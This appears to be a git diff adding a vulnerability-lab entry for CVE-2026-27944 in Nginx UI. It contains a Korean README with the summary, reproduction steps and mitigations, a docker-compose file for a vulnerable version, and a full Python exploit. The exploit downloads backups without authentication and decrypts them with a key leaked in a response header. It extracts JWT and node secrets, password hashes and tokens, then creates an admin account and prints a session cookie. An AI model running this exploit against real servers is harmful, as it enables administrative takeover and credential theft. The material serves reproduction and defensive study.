diff --git a/nginx-ui/CVE-2026-27944/1.png b/nginx-ui/CVE-2026-27944/1.png
new file mode 100644
index 000000000..752929c64
Binary files /dev/null and b/nginx-ui/CVE-2026-27944/1.png differ
diff --git a/nginx-ui/CVE-2026-27944/2.png b/nginx-ui/CVE-2026-27944/2.png
new file mode 100644
index 000000000..b0e6f1726
Binary files /dev/null and b/nginx-ui/CVE-2026-27944/2.png differ
diff --git a/nginx-ui/CVE-2026-27944/3.png b/nginx-ui/CVE-2026-27944/3.png
new file mode 100644
index 000000000..e8c82b5c0
Binary files /dev/null and b/nginx-ui/CVE-2026-27944/3.png differ
diff --git a/nginx-ui/CVE-2026-27944/3.png:Zone.Identifier b/nginx-ui/CVE-2026-27944/3.png:Zone.Identifier
new file mode 100644
index 000000000..d6c1ec682
Binary files /dev/null and b/nginx-ui/CVE-2026-27944/3.png:Zone.Identifier differ
diff --git a/nginx-ui/CVE-2026-27944/4.png b/nginx-ui/CVE-2026-27944/4.png
new file mode 100644
index 000000000..8c6c1b2bd
Binary files /dev/null and b/nginx-ui/CVE-2026-27944/4.png differ
diff --git a/nginx-ui/CVE-2026-27944/4.png:Zone.Identifier b/nginx-ui/CVE-2026-27944/4.png:Zone.Identifier
new file mode 100644
index 000000000..d6c1ec682
Binary files /dev/null and b/nginx-ui/CVE-2026-27944/4.png:Zone.Identifier differ
diff --git a/nginx-ui/CVE-2026-27944/5.png b/nginx-ui/CVE-2026-27944/5.png
new file mode 100644
index 000000000..a4de1b636
Binary files /dev/null and b/nginx-ui/CVE-2026-27944/5.png differ
diff --git a/nginx-ui/CVE-2026-27944/6.png b/nginx-ui/CVE-2026-27944/6.png
new file mode 100644
index 000000000..9070fb1a8
Binary files /dev/null and b/nginx-ui/CVE-2026-27944/6.png differ
diff --git a/nginx-ui/CVE-2026-27944/7.png b/nginx-ui/CVE-2026-27944/7.png
new file mode 100644
index 000000000..0dedb1a7c
Binary files /dev/null and b/nginx-ui/CVE-2026-27944/7.png differ
diff --git a/nginx-ui/CVE-2026-27944/8.png b/nginx-ui/CVE-2026-27944/8.png
new file mode 100644
index 000000000..c600a567b
Binary files /dev/null and b/nginx-ui/CVE-2026-27944/8.png differ
diff --git a/nginx-ui/CVE-2026-27944/9.png b/nginx-ui/CVE-2026-27944/9.png
new file mode 100644
index 000000000..fc4ffcb47
Binary files /dev/null and b/nginx-ui/CVE-2026-27944/9.png differ
diff --git a/nginx-ui/CVE-2026-27944/Dockerfile b/nginx-ui/CVE-2026-27944/Dockerfile
new file mode 100644
index 000000000..e69de29bb
diff --git a/nginx-ui/CVE-2026-27944/README.md b/nginx-ui/CVE-2026-27944/README.md
new file mode 100644
index 000000000..ae0641e91
--- /dev/null
+++ b/nginx-ui/CVE-2026-27944/README.md
@@ -0,0 +1,121 @@
+# Nginx UI Unauthenticated Backup Download with Encryption Key Disclosure (CVE-2026-27944)
+
+**Contributors**
+
+- [안가영(@ankayeong)](https://github.com/ankayeong)
+
+## 취약점 요약
+CVE-2026-27944는 Nginx UI 2.3.3 이전 버전에 존재하는 인증 우회 취약점이다.
+
+Nginx UI는 Nginx 서버를 관리하기 위한 웹 기반 관리 도구이며, 서버 설정 관리, SSL 인증서 관리 등의 기능을 제공한다.
+
+해당 취약점은 `/api/backup` API를 통해 관리자 인증 없이 접근 가능하게 되어 발생한다. 인증되지 않은 공격자가 시스템 백업 파일을 생성하고 다운로드할 수 있다.
+
+또한 백업 응답 헤더에 포함된 `X-Backup-Security` 값에 AES-256 암호화에 필요한 Key와 IV 정보가 포함되어 있어 공격자는 백업 파일을 복호화할 수 있다.
+
+복호화된 백업 파일에는 Nginx UI 설정 파일(`app.ini`), 데이터베이스 파일(`database.db`) 등이 포함되어 있으며, 이를 통해 JWT Secret 및 Node Secret과 같은 인증 관련 정보를 획득할 수 있다.
+
+공격자는 획득한 **Node Secret**을 이용하여 관리자 API에 접근하고, 관리자 계정을 생성하여 Nginx UI 환경을 완전히 제어할 수 있다.
+
+
+
+## 환경 구성
+
+### 실행 환경
+- OS: Ubuntu (WSL2)
+- Docker
+- Docker Compose
+- Nginx UI 2.3.2
+
+### 실행 방법
+명령어
+```bash
+ docker compose up -d
+ ```
+입력
+
+
+Docker 컨테이너가 정상적으로 실행되었는지 확인한다.
+
+`docker ps` 실행 후 웹 브라우저에서 `http://localhost:9000`로 접속한다.
+
+
+
+
+## 취약 조건
+- Nginx UI 2.3.2 ver 사용
+- `/api/backup` API에 인증 없이 접근 가능
+- 백업 응답 헤더에 암호화 키 정보 노출
+
+
+
+## 재현 절차
+1) Poc 실행에 필요한 Python 라이브러리를 설치한다.
+```bash
+sudo apt install python3-pip
+```
+
+2) 아래 명령어를 입력하여 PoC를 실행한다.
+```bash
+python3 poc.py -u http://localhost:9000 --create-user hacker
+```
+
+
+
+3) 위의 스크립트 실행이 완료되면 출력된 document.cookie 값을 Nginx UI 로그인 화면의 브라우저 개발자 콘솔(F12)에 붙여넣는다. 그다음 새로고침
+
+
+
+## PoC 코드
+1) 인증 없이 백업 다운로드
+
+- `/api/backup`에 인증 없이 요청
+- backup.zip 다운로드
+- 응답 헤더에서 X-Backup-Security 획득
+
+2) AES Key와 IV 추출
+
+응답 헤더에 포함된 Key:IV를 분리한 후 Base64를 디코딩하여 실제 AES Key와 IV를 얻는다.
+
+3) 백업 복호화
+
+- 앞에서 얻은 AES Key와 IV를 이용하여 backup.zip 내부의 모든 파일을 복호화한다. 복호화 후 app.ini, database.db 등을 확인할 수 있다.
+
+4) Node Secret 추출
+
+
+복호화된 app.ini에서 Node Secret값을 읽는다. 이 값은 이후 관리자 API 인증에 사용된다.
+
+5) 관리자 API 접근
+
+Node Secret을 HTTP 헤더에 넣어 관리자 API에 접근한다. 그럼 정상적인 인증 과정 없이 관리자 권한을 획득할 수 있다.
+
+6) JWT 토큰 획득
+
+생성한 관리자 계정으로 로그인한 뒤 서버가 발급한 JWT Token을 받아온다. JWT를 브라우저 Cookie에 저장하면 관리자 페이지에 로그인된다.
+
+
+
+## 실행 결과
+1) 응답 헤더에서 AES Key와 IV 값 확인 가능
+
+
+2) 1번 값 이용하여 백업 파일 복호화
+JWT Secret / Node Secret / Crypto Secret 값
+
+
+관리자 계정 정보
+
+
+3) Node Secret 이용하여 관리자 API 접근 시도
+
+4) PoC 실행 옵션으로 지정한 `hacker` 계정 생성됨. 해당 계정으로 관리자 페이지 접근 가능
+
+
+
+
+
+## 대응 방안
+- Nginx UI 최신 버전을 사용한다.
+- 백업 관련 API에 인증 검증을 적용한다.
+- 응답 헤더에 암호화 키와 같은 민감 정보를 포함하지 않도록 수정한다.
\ No newline at end of file
diff --git a/nginx-ui/CVE-2026-27944/code1.png b/nginx-ui/CVE-2026-27944/code1.png
new file mode 100644
index 000000000..87d3b79be
Binary files /dev/null and b/nginx-ui/CVE-2026-27944/code1.png differ
diff --git a/nginx-ui/CVE-2026-27944/code2.png b/nginx-ui/CVE-2026-27944/code2.png
new file mode 100644
index 000000000..2402f3e6e
Binary files /dev/null and b/nginx-ui/CVE-2026-27944/code2.png differ
diff --git a/nginx-ui/CVE-2026-27944/code3.png b/nginx-ui/CVE-2026-27944/code3.png
new file mode 100644
index 000000000..b4c6f1082
Binary files /dev/null and b/nginx-ui/CVE-2026-27944/code3.png differ
diff --git a/nginx-ui/CVE-2026-27944/code4.png b/nginx-ui/CVE-2026-27944/code4.png
new file mode 100644
index 000000000..1b3eb1008
Binary files /dev/null and b/nginx-ui/CVE-2026-27944/code4.png differ
diff --git a/nginx-ui/CVE-2026-27944/code5.png b/nginx-ui/CVE-2026-27944/code5.png
new file mode 100644
index 000000000..48289b022
Binary files /dev/null and b/nginx-ui/CVE-2026-27944/code5.png differ
diff --git a/nginx-ui/CVE-2026-27944/code6.png b/nginx-ui/CVE-2026-27944/code6.png
new file mode 100644
index 000000000..5956003f4
Binary files /dev/null and b/nginx-ui/CVE-2026-27944/code6.png differ
diff --git a/nginx-ui/CVE-2026-27944/code7.png b/nginx-ui/CVE-2026-27944/code7.png
new file mode 100644
index 000000000..70cd4f521
Binary files /dev/null and b/nginx-ui/CVE-2026-27944/code7.png differ
diff --git a/nginx-ui/CVE-2026-27944/docker-compose.yml b/nginx-ui/CVE-2026-27944/docker-compose.yml
new file mode 100644
index 000000000..f984a6ef9
--- /dev/null
+++ b/nginx-ui/CVE-2026-27944/docker-compose.yml
@@ -0,0 +1,7 @@
+services:
+ web:
+ image: vulhub/nginx-ui:2.3.2
+ ports:
+ - "9000:9000"
+ environment:
+ NGINX_UI_NODE_SKIP_INSTALLATION: "true"
diff --git a/nginx-ui/CVE-2026-27944/poc.py b/nginx-ui/CVE-2026-27944/poc.py
new file mode 100644
index 000000000..81e328d6f
--- /dev/null
+++ b/nginx-ui/CVE-2026-27944/poc.py
@@ -0,0 +1,302 @@
+#!/usr/bin/env python3
+"""
+CVE-2026-27944 - Nginx UI Unauthenticated Backup Download with Encryption Key Disclosure
+
+본 PoC는 전체 공격 과정을 단계별로 시연한다.:
+1. 인증 없이 암호화된 백업 파일을 다운로드한다.
+2. X-Backup-Security 응답 헤더에서 AES-256 Key와 IV 값을 추출한다.
+3. 백업 압축 파일을 복호화한다.
+4. app.ini 파일에서 Node Secret 값을 추출한다.
+5. X-Node-Secret 헤더를 사용하여 관리자 API에 접근한다.
+6. 관리자 비밀번호를 변경하고 로그인하여 브라우저 접근을 위한 JWT Token을 획득한다.
+"""
+
+import argparse
+import base64
+import configparser
+import hashlib
+import io
+import json
+import os
+import secrets
+import sqlite3
+import string
+import struct
+import sys
+import tempfile
+import time
+import urllib.request
+import zipfile
+from pathlib import Path
+
+try:
+ from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
+ from cryptography.hazmat.primitives.asymmetric import padding as asym_padding
+ from cryptography.hazmat.primitives import serialization
+except ImportError:
+ print("Please install cryptography: pip install cryptography")
+ sys.exit(1)
+
+
+#AES-CBC 방식으로 복호화하는 함수
+def aes_cbc_decrypt(data: bytes, key: bytes, iv: bytes) -> bytes:
+ """PKCS7 패딩 제거를 포함한 AES-256-CBC 데이터 복호화"""
+ cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
+ decryptor = cipher.decryptor()
+ decrypted = decryptor.update(data) + decryptor.finalize()
+ pad_len = decrypted[-1]
+ return decrypted[:-pad_len]
+
+
+def download_backup(target: str) -> tuple[bytes, str]:
+ """백업 다운로드하고 (백업 데이터, 보안 헤더) 반환"""
+ url = f"{target}/api/backup" #ex)http://localhost:9000/api/backup
+ print(f"[*] Requesting backup from {url}")
+ req = urllib.request.Request(url)
+ resp = urllib.request.urlopen(req, timeout=15)
+ security = resp.headers.get("X-Backup-Security", "")
+ data = resp.read()
+ print(f"[+] Downloaded backup: {len(data)} bytes")
+ print(f"[+] X-Backup-Security: {security}")
+ return data, security #(백업파일, 헤더값) 반환
+
+
+#AES key, IV 추출
+def parse_security_header(header: str) -> tuple[bytes, bytes]:
+ """X-backup-Security 헤더를 분석하여 Key와 IV를 bytes 형태로 변환"""
+ key_b64, iv_b64 = header.split(":")
+ key = base64.b64decode(key_b64) #b64decode() = Base64문자열을 원래의 byte 데이터로 되돌리는 함수
+ iv = base64.b64decode(iv_b64)
+ print(f"[+] AES Key ({len(key)*8}-bit): {key.hex()}")
+ print(f"[+] AES IV ({len(iv)*8}-bit): {iv.hex()}") #보통 16byte(128bit)
+ return key, iv
+
+
+def decrypt_backup(zip_data: bytes, key: bytes, iv: bytes) -> dict[str, bytes]:
+ """백업 ZIP 아카이브의 모든 파일 해독"""
+ result = {}
+ with zipfile.ZipFile(io.BytesIO(zip_data)) as zf: #io.BytesIO() = 메모리에 있는 데이터를 파일처럼 사용할 수 있게 만듦
+ for name in zf.namelist():
+ encrypted = zf.read(name)
+ try:
+ decrypted = aes_cbc_decrypt(encrypted, key, iv)
+ result[name] = decrypted
+ print(f"[+] Decrypted: {name} ({len(decrypted)} bytes)")
+ except Exception as e:
+ print(f"[-] Failed to decrypt {name}: {e}")
+ return result
+
+
+def extract_secrets(decrypted_files: dict[str, bytes], output_dir: str) -> dict:
+ """복호화된 nginx-ui.zip에서 secrets 추출"""
+ secrets = {} #여기에 JWT Secret, Node Secret Crypto Secret, 사용자 정보 저장
+
+ if "nginx-ui.zip" not in decrypted_files:
+ print("[-] nginx-ui.zip not found in backup")
+ return secrets
+
+ with zipfile.ZipFile(io.BytesIO(decrypted_files["nginx-ui.zip"])) as zf:
+ # app.ini 추출
+ if "app.ini" in zf.namelist():
+ ini_data = zf.read("app.ini").decode()
+ ini_path = os.path.join(output_dir, "app.ini")
+ Path(ini_path).write_text(ini_data)
+
+ config = configparser.ConfigParser() #ini파일을 쉽게 읽게 해줌
+ config.read_string(ini_data)
+
+ secrets["jwt_secret"] = config.get("app", "JwtSecret", fallback="") #ex)[app]JwtSecret=12345에서 12345를 가져옴
+ secrets["node_secret"] = config.get("node", "Secret", fallback="")
+ secrets["crypto_secret"] = config.get("crypto", "Secret", fallback="")
+
+ print(f"\n[+] === Extracted Secrets from app.ini ===")
+ print(f" JwtSecret: {secrets['jwt_secret']}")
+ print(f" Node Secret: {secrets['node_secret']}")
+ print(f" Crypto Secret: {secrets['crypto_secret']}")
+
+ # 데이터베이스 추출
+ if "database.db" in zf.namelist():
+ db_data = zf.read("database.db")
+ db_path = os.path.join(output_dir, "database.db")
+ Path(db_path).write_bytes(db_data)
+
+ conn = sqlite3.connect(db_path)
+ cursor = conn.cursor() #SQL 명령을 실행하는 객체
+
+ print(f"\n[+] === Users from database ===")
+ try:
+ for row in cursor.execute("SELECT id, name, password FROM users"):
+ print(f" ID={row[0]} Name={row[1]} Password={row[2]}")
+ secrets.setdefault("users", []).append({
+ "id": row[0], "name": row[1], "password_hash": row[2]
+ })
+ except sqlite3.OperationalError:
+ print(" (no users table found)")
+
+ print(f"\n[+] === Active Auth Tokens ===")
+ try:
+ tokens = list(cursor.execute(
+ "SELECT user_id, token, short_token, expired_at FROM auth_tokens"
+ ))
+ if tokens:
+ for row in tokens:
+ print(f" UserID={row[0]} Token={row[1][:40]}... Expires={row[3]}")
+ secrets.setdefault("tokens", []).append({
+ "user_id": row[0], "token": row[1],
+ "short_token": row[2], "expired_at": row[3]
+ })
+ else:
+ print(" (no active tokens)")
+ except sqlite3.OperationalError:
+ print(" (no auth_tokens table found)")
+
+ conn.close()
+
+ return secrets
+
+
+# 탈취한 정보로 관리자 API에 접근
+def exploit_node_secret(target: str, node_secret: str):
+ """admin API에 접근하기 위해 X-Node-Secret 사용"""
+ print(f"\n[*] === Exploiting with X-Node-Secret ===")
+
+ url = f"{target}/api/users"
+ req = urllib.request.Request(url, headers={"X-Node-Secret": node_secret})
+ try:
+ resp = urllib.request.urlopen(req, timeout=10)
+ data = json.loads(resp.read()) #loads() = JSON형식의 문자열을 딕셔너리, 리스트로 바꿈
+ print(f"[+] Admin API access successful!")
+ print(f"[+] Response from {url}:")
+ print(json.dumps(data, indent=2)) #dumps = 딕셔너리/리스트를 JSON 형식의 문자열로 변환, indent = 들여쓰기
+ return True
+ except urllib.error.HTTPError as e:
+ print(f"[-] Failed: HTTP {e.code} - {e.read().decode()}")
+ return False
+
+
+def obtain_admin_token(target: str, node_secret: str, username: str = "hacker") -> str:
+ """X-Node-Secret을 통해 새 관리자 계정을 생성한 다음 로그인하여 JWT 토큰을 얻는다."""
+ print(f"\n[*] === Obtaining Admin JWT Token ===")
+
+ # 랜덤 비밀번호 생성(16글자)
+ password = "".join(secrets.choice(string.ascii_letters + string.digits) for _ in range(16))
+
+ # Step 1: 관리자 계정 생성
+ print(f"[*] Creating new admin user '{username}' via X-Node-Secret...")
+ body = json.dumps({"name": username, "password": password}).encode()
+ req = urllib.request.Request(
+ f"{target}/api/users", data=body, method="POST",
+ headers={"Content-Type": "application/json", "X-Node-Secret": node_secret},
+ )
+ try:
+ resp = urllib.request.urlopen(req, timeout=10)
+ user_data = json.loads(resp.read())
+ print(f"[+] User '{username}' created (ID={user_data['id']}), password: {password}")
+ except urllib.error.HTTPError as e:
+ print(f"[-] Failed to create user: HTTP {e.code} - {e.read().decode()}")
+ return ""
+
+ # Step 2: RSA 공개 키 요청
+ print(f"[*] Fetching RSA public key...")
+ body = json.dumps({
+ "timestamp": int(time.time()), #현재시간 초단위로 구함
+ "fingerprint": hashlib.sha256(b"poc").hexdigest(),
+ }).encode()
+ req = urllib.request.Request(
+ f"{target}/api/crypto/public_key", data=body,
+ headers={"Content-Type": "application/json"},
+ )
+ try:
+ resp = urllib.request.urlopen(req, timeout=10)
+ result = json.loads(resp.read())
+ pub_key = serialization.load_pem_public_key(result["public_key"].encode()) #문자열 형태의 공개키를 RSA객체로 변환
+ nonce = result.get("nonce", "") #nonce=한 번만 사용하는 임시 값. 재전송 공격 막기 위함.
+ except Exception as e:
+ print(f"[-] Failed to get public key: {e}")
+ return ""
+
+ # Step 3: 로그인
+ print(f"[*] Logging in as '{username}'...")
+ params = json.dumps({"name": username, "password": password, "nonce": nonce}).encode()
+ encrypted = pub_key.encrypt(params, asym_padding.PKCS1v15()) #로그인 정보 암호화
+ body = json.dumps({"encrypted_params": base64.b64encode(encrypted).decode()}).encode()
+ req = urllib.request.Request( #로그인 요청
+ f"{target}/api/login", data=body,
+ headers={"Content-Type": "application/json"},
+ )
+ try:
+ resp = urllib.request.urlopen(req, timeout=10)
+ data = json.loads(resp.read())
+ token = data["token"]
+ print(f"[+] Login successful! JWT token obtained.")
+ return token #JWT 토큰(document.cookie)을 브라우저(F12)에 복붙->로그인
+ except urllib.error.HTTPError as e:
+ print(f"[-] Login failed: HTTP {e.code} - {e.read().decode()}")
+ return ""
+
+
+def main():
+ parser = argparse.ArgumentParser(
+ description="CVE-2026-27944 - Nginx UI Unauthenticated Backup Exploit"
+ )
+ parser.add_argument("-u", "--url", required=True,
+ help="Target URL (e.g. http://localhost:9000)")
+ parser.add_argument("-o", "--output", default=None,
+ help="Output directory for decrypted files (default: temp dir)")
+ parser.add_argument("--create-user", metavar="USERNAME", default=None,
+ help="Create a new admin user and obtain JWT token for browser access")
+ args = parser.parse_args()
+
+ target = args.url.rstrip("/")
+ output_dir = args.output or tempfile.mkdtemp(prefix="nginx-ui-backup-")
+ os.makedirs(output_dir, exist_ok=True)
+
+ print(f"[*] Target: {target}")
+ print(f"[*] Output: {output_dir}\n")
+
+ # Step 1: 백업파일 다운로드
+ zip_data, security_header = download_backup(target)
+ if not security_header:
+ print("[-] No X-Backup-Security header found. Target may be patched.")
+ sys.exit(1)
+
+ # 생 백업파일 저장
+ backup_path = os.path.join(output_dir, "backup.zip")
+ Path(backup_path).write_bytes(zip_data)
+
+ # Step 2: 암호화 키 파싱
+ key, iv = parse_security_header(security_header)
+
+ # Step 3: 백업파일 복호화
+ decrypted_files = decrypt_backup(zip_data, key, iv)
+
+ # Step 4: secrets 추출
+ secrets = extract_secrets(decrypted_files, output_dir)
+
+ # Step 5: Node Secret 이용
+ node_secret = secrets.get("node_secret", "")
+ if node_secret:
+ exploit_node_secret(target, node_secret)
+ else:
+ print("\n[-] No Node Secret found, cannot exploit further")
+
+ # Step 6: 선택적으로 새 관리자 생성하고 JWT 토큰 얻음
+ token = ""
+ if node_secret and args.create_user:
+ token = obtain_admin_token(target, node_secret, args.create_user)
+
+ # 요약
+ print(f"\n{'='*60}")
+ print(f"[+] Exploitation complete!")
+ print(f"[+] Decrypted files saved to: {output_dir}")
+ if node_secret:
+ print(f"[+] Admin API: curl -H 'X-Node-Secret: {node_secret}' {target}/api/users")
+ if token:
+ print(f"[+] JWT Token: {token}")
+ print(f"[+] Browser access: paste the following in browser console (F12):")
+ print(f' document.cookie="token={token};path=/"')
+ print(f" Then refresh the page to enter admin panel.")
+
+
+if __name__ == "__main__":
+ main()